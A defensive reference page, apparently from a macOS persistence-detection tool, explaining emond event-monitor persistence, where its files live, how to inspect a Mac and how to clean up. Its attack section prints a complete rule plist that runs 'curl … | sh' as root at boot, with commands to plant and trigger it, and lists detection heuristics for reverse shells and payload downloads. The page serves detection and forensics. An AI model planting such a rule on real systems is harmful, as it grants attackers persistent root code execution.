Skip to content

On an event

emond: macOS Persistence via the Event Monitor

How emond rules in /etc/emond.d ran commands as root on older macOS, why current releases no longer have emond, and how to check and clean a Mac.

MITRE ATT&CK
T1546.014
Tactics
Persistence, Privilege escalation
Runs
On an event
Set up by
root
Locations
  • /etc/emond.d/rules/*.plist
  • /etc/emond.d/emond.plist
  • /private/var/db/emondClients/*

How it works

The Event Monitor daemon, emond, was a little-documented Apple service that received events (system startup, authentication results and others) and ran rules against them. A rule matched event types and optional criteria, then ran actions: write a log message, send mail, or run a command. Few administrators ever used it, which is what made it attractive.

Its moving parts on releases that had it:

  • the binary, /sbin/emond, started by /System/Library/LaunchDaemons/com.apple.emond.plist as root;
  • that job's QueueDirectories key on /private/var/db/emondClients: launchd started emond only while that folder held a file, so on many Macs it never ran;
  • its configuration, /etc/emond.d/emond.plist, which can name extra rule folders (additionalRulesPaths);
  • its rules, property lists in /etc/emond.d/rules/. Apple shipped one, SampleRules.plist, with its rule disabled.

A rules file holds an array of dictionaries with name, enabled, eventTypes and actions. A RunCommand action has command, arguments and user, and runs as that user, root by default in published examples. A rule on the startup event runs at every boot; one on auth.failure runs whenever someone mistypes a password.

Which releases are affected. Public research documented emond as a persistence technique in 2018, against macOS of that era. Several forensic write-ups report that macOS 13 Ventura removed emond and its files; Apple has not documented the change. A current Mac (macOS 27) has no emond binary, no com.apple.emond launch daemon and no /etc/emond.d. Treat emond as a mechanism of macOS 12 Monterey and earlier: on a newer Mac, rule files can still be planted, but nothing reads them unless the attacker also brings a program that does.

Where it lives

PathWhatWho can write it
/sbin/emond, /System/Library/LaunchDaemons/com.apple.emond.plistThe daemon and its job (macOS 12 and earlier)Nobody: system volume, protected by SIP
/etc/emond.d/emond.plistDaemon configuration, including extra rule folders (/etc is /private/etc)root
/etc/emond.d/rules/*.plistRules; Apple's SampleRules.plist is disabledroot
/private/var/db/emondClients/Queue folder: any file in it makes launchd start emondroot

There is no per-user location: every rule runs as the user its action names, normally root.

How attackers use it

The published technique has two steps, both as root: drop a rule, then make sure emond starts. The rule runs a command at boot:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<array>
  <dict>
    <key>name</key><string>com.example.update</string>
    <key>enabled</key><true/>
    <key>eventTypes</key><array><string>startup</string></array>
    <key>actions</key>
    <array>
      <dict>
        <key>type</key><string>RunCommand</string>
        <key>command</key><string>/bin/sh</string>
        <key>user</key><string>root</string>
        <key>arguments</key>
        <array><string>-c</string><string>curl -s https://example.com/u.sh | sh</string></array>
      </dict>
    </array>
  </dict>
</array>
</plist>
cp update.plist /etc/emond.d/rules/update.plist
touch /private/var/db/emondClients/update       # any file wakes emond

Variations: a rule on an authentication event such as auth.failure, which turns a mistyped password into a trigger; a rule folder outside /etc/emond.d/rules named in additionalRulesPaths, where fewer tools look; or Apple's sample rules file edited in place rather than a new file added. The appeal was that few people knew emond existed, and its launch daemon was Apple's own, signed and unchanged.

On current macOS the same files are inert. Finding them still matters: they show what someone tried, and they often sit next to a working LaunchDaemon or periodic script running the same payload.

How to check a host

On any Mac, first establish whether emond can run at all:

sw_vers
ls -l /sbin/emond /System/Library/LaunchDaemons/com.apple.emond.plist
launchctl print system/com.apple.emond 2>/dev/null | head -20

Then read whatever is on disk, even on a newer release:

ls -le@ /etc/emond.d /etc/emond.d/rules /private/var/db/emondClients
plutil -p /etc/emond.d/emond.plist
plutil -p /etc/emond.d/rules/*.plist
stat -f '%SB  %Sm  %N' /etc/emond.d/rules/* /private/var/db/emondClients/*   # born / modified
pkgutil --file-info /etc/emond.d/rules/update.plist

On a clean Monterey or older Mac you expect only SampleRules.plist, disabled, and an empty emondClients. Anything else, and any RunCommand action, needs an owner. Check the command it runs: its path, signature (codesign -dv --verbose=4) and whether the same program appears in other persistence locations.

Offline, the collection command archives /private/etc/emond.d; add /private/var/db/emondClients by hand, plus any folder additionalRulesPaths names. Read the rules with plutil -p, compare file times with the queue file and the system's install history, and confirm the OS version from SystemVersion.plist. macOS Persistence parses the rules offline.

What macOS Persistence flags

The tool reads every .plist in /etc/emond.d/rules/ and reports one entry per RunCommand action, named after its rule, with the command and its arguments joined, the event types, and the rule's enabled value. Rules whose actions only log or send mail produce no entry.

  • emond runs a command (medium): on every RunCommand action.
  • Command and path heuristics on the joined command line, such as Downloads and runs code (the example above), Decodes and runs a payload, Reverse or bind shell, Interpreter with inline code, Runs from a temporary or shared folder and Runs from a hidden folder.
  • Changed date (low): the rules file was modified in the 7 days before the newest file in the collection.
  • Differs from package package (medium): only if an installer receipt lists the file and its checksum differs.
  • program also runs from mechanisms (medium): the program the rule starts (one not in /bin, /sbin, /usr/bin, /usr/sbin or /System) is also started by another mechanism.

Limits: the entry shows the account from the action's user key (root when there is none), and a disabled rule is marked disabled but still gets the flags. The tool does not read emond.plist, additionalRulesPaths folders or emondClients, so it cannot tell whether emond would have started, and it does not check the OS version against the rules: on macOS 13 and later the entries describe intent, not active persistence.

Cleaning up

  1. Preserve: copy /etc/emond.d and /private/var/db/emondClients with their times (ditto), hash the rules and any program they run, and save launchctl print system/com.apple.emond output where the job exists.
  2. On releases that have emond, remove the files below first, then stop a running instance with sudo killall emond; with the queue folder empty, launchd does not start it again.
  3. Remove the planted rule files and the queue file; restore Apple's SampleRules.plist from a clean Mac of the same release if it was edited. Remove the program the rule ran.
  4. Look for the same payload elsewhere: launch daemons, StartupItems, cron and periodic scripts, login hooks.
  5. The commands ran as root at boot or on authentication events: rotate what root could read on that Mac (keys, tokens, saved credentials), and passwords if an authentication event was the trigger.

References

See also

On Mac Forensics

The artifacts behind this technique, in the Mac Forensics reference: